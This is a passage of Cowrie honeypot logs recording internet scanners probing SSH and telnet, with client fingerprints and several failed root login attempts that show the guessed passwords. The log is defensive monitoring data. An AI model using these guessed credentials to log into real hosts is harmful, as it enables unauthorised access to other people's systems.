{"eventid":"cowrie.session.closed","duration":34.20880317687988,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:35.709409Z","src_ip":"192.119.13.58","session":"7ea8248d5c02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.482699394226074,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:36.567287Z","src_ip":"192.119.13.58","session":"c202d2814c4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53210,"dst_ip":"10.17.0.5","dst_port":23,"session":"574758f453e5","protocol":"telnet","message":"New connection: 192.119.13.58:53210 (10.17.0.5:23) [session: 574758f453e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:39.464260Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":54278,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec00c1678788","protocol":"ssh","message":"New connection: 43.156.97.164:54278 (159.203.135.109:22) [session: ec00c1678788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:40.378779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:40.384397Z","src_ip":"43.156.97.164","session":"ec00c1678788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:40.616113Z","src_ip":"43.156.97.164","session":"ec00c1678788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pokemon","message":"login attempt [root/pokemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:41.569781Z","src_ip":"43.156.97.164","session":"ec00c1678788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36788,"dst_ip":"10.17.0.5","dst_port":23,"session":"9537069deafd","protocol":"telnet","message":"New connection: 192.119.13.58:36788 (10.17.0.5:23) [session: 9537069deafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:41.907891Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:42.804293Z","src_ip":"43.156.97.164","session":"ec00c1678788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.5933022499084473,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:43.501282Z","src_ip":"192.119.13.58","session":"9537069deafd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":57272,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba25ddb321b5","protocol":"ssh","message":"New connection: 103.75.182.198:57272 (10.17.0.5:22) [session: ba25ddb321b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:45.050175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:45.059362Z","src_ip":"103.75.182.198","session":"ba25ddb321b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:45.303400Z","src_ip":"103.75.182.198","session":"ba25ddb321b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51974,"dst_ip":"10.17.0.5","dst_port":23,"session":"24a4143edbfb","protocol":"telnet","message":"New connection: 192.119.13.58:51974 (10.17.0.5:23) [session: 24a4143edbfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:45.468909Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"avtoplus","message":"login attempt [root/avtoplus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:46.050920Z","src_ip":"103.75.182.198","session":"ba25ddb321b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:47.295556Z","src_ip":"103.75.182.198","session":"ba25ddb321b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35304,"dst_ip":"10.17.0.5","dst_port":23,"session":"47cd5469cc84","protocol":"telnet","message":"New connection: 192.119.13.58:35304 (10.17.0.5:23) [session: 47cd5469cc84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:48.040052Z"}
{"eventid":"cowrie.session.closed","duration":44.197866439819336,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:51.727168Z","src_ip":"192.119.13.58","session":"807c8106b55d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.202998876571655,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:54.342273Z","src_ip":"192.119.13.58","session":"c210faa66f38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38304,"dst_ip":"10.17.0.5","dst_port":23,"session":"d068a6524ea5","protocol":"telnet","message":"New connection: 192.119.13.58:38304 (10.17.0.5:23) [session: d068a6524ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:19:55.064842Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":47168,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b41275fedc6","protocol":"ssh","message":"New connection: 103.183.114.55:47168 (159.203.135.109:22) [session: 1b41275fedc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:01.981662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:01.992424Z","src_ip":"103.183.114.55","session":"1b41275fedc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:02.224257Z","src_ip":"103.183.114.55","session":"1b41275fedc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:02.908074Z","src_ip":"103.183.114.55","session":"1b41275fedc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:04.136595Z","src_ip":"103.183.114.55","session":"1b41275fedc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56235,"dst_ip":"10.17.0.5","dst_port":22,"session":"63eff6de3134","protocol":"ssh","message":"New connection: 167.172.81.52:56235 (10.17.0.5:22) [session: 63eff6de3134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:08.423438Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:08.428866Z","src_ip":"167.172.81.52","session":"63eff6de3134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:08.435863Z","src_ip":"167.172.81.52","session":"63eff6de3134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":33986,"dst_ip":"159.203.135.109","dst_port":22,"session":"773337e50bbe","protocol":"ssh","message":"New connection: 41.242.115.83:33986 (159.203.135.109:22) [session: 773337e50bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:10.643234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:10.653402Z","src_ip":"41.242.115.83","session":"773337e50bbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:10.851103Z","src_ip":"41.242.115.83","session":"773337e50bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1xsw2","message":"login attempt [root/zaq1xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:11.650918Z","src_ip":"41.242.115.83","session":"773337e50bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.71219086647034,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:12.176298Z","src_ip":"192.119.13.58","session":"574758f453e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:12.868275Z","src_ip":"41.242.115.83","session":"773337e50bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.98281764984131,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:16.681410Z","src_ip":"192.119.13.58","session":"b5926ce43d32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56606,"dst_ip":"10.17.0.5","dst_port":23,"session":"572eb72a1f07","protocol":"telnet","message":"New connection: 192.119.13.58:56606 (10.17.0.5:23) [session: 572eb72a1f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:16.694577Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":45147,"dst_ip":"159.203.135.109","dst_port":23,"session":"9359b968f01b","protocol":"telnet","message":"New connection: 186.195.16.41:45147 (159.203.135.109:23) [session: 9359b968f01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:22.487565Z"}
{"eventid":"cowrie.session.closed","duration":38.042704820632935,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:23.511504Z","src_ip":"192.119.13.58","session":"24a4143edbfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.531161308288574,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:24.571075Z","src_ip":"192.119.13.58","session":"47cd5469cc84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.546260595321655,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:26.502539Z","src_ip":"192.119.13.58","session":"62deebb53557","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40940,"dst_ip":"10.17.0.5","dst_port":23,"session":"f29a7751a207","protocol":"telnet","message":"New connection: 192.119.13.58:40940 (10.17.0.5:23) [session: f29a7751a207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:32.934803Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46922,"dst_ip":"10.17.0.5","dst_port":23,"session":"09d0af32f338","protocol":"telnet","message":"New connection: 192.119.13.58:46922 (10.17.0.5:23) [session: 09d0af32f338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:34.408000Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":39056,"dst_ip":"10.17.0.5","dst_port":22,"session":"beaa44af382c","protocol":"ssh","message":"New connection: 89.108.118.91:39056 (10.17.0.5:22) [session: beaa44af382c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:42.688614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:42.694181Z","src_ip":"89.108.118.91","session":"beaa44af382c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:42.844599Z","src_ip":"89.108.118.91","session":"beaa44af382c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wrestling","message":"login attempt [root/wrestling] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:43.295977Z","src_ip":"89.108.118.91","session":"beaa44af382c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:44.450220Z","src_ip":"89.108.118.91","session":"beaa44af382c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.87999129295349,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:20:48.944698Z","src_ip":"192.119.13.58","session":"d068a6524ea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":32852,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ff103f4c12c","protocol":"ssh","message":"New connection: 43.156.97.164:32852 (159.203.135.109:22) [session: 1ff103f4c12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:01.128737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:01.135134Z","src_ip":"43.156.97.164","session":"1ff103f4c12c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:01.382377Z","src_ip":"43.156.97.164","session":"1ff103f4c12c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2091","message":"login attempt [root/2091] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:02.373152Z","src_ip":"43.156.97.164","session":"1ff103f4c12c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:03.615024Z","src_ip":"43.156.97.164","session":"1ff103f4c12c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.23701572418213,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:21:04.931472Z","src_ip":"192.119.13.58","session":"572eb72a1f07","protocol":"telnet"}
